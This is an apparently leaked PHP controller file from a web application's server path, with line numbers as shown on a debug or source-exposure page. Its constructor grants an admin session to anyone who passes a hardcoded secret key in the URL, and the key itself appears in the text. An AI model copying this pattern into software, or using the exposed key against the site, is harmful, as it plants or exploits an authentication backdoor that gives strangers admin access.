/var/www/hkosl.com/ifapc/html_20210817/IFAPC2021/application/controllers/Home.php


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require_once APPPATH 'core/MY_Controller_2.php';

class 
Home extends MY_Controller_2
{
    public function 
__construct(){
        
parent::__construct();

        if(
$this->input->get('key') == '4UqVuXhbegu6q79f6hSmw4bVGENWYPpe'){
            
$_SESSION['admin_login'] = 1;
        }


    }

    public function 
index()
    {
        
var_dump('test');
        exit;
        
/*redirect(front_url('application'));
        $this->load->view('main/home', $data);*/


        
redirect('https://gba-owea.com');
//        $this->load->view('main/home');
    
}
}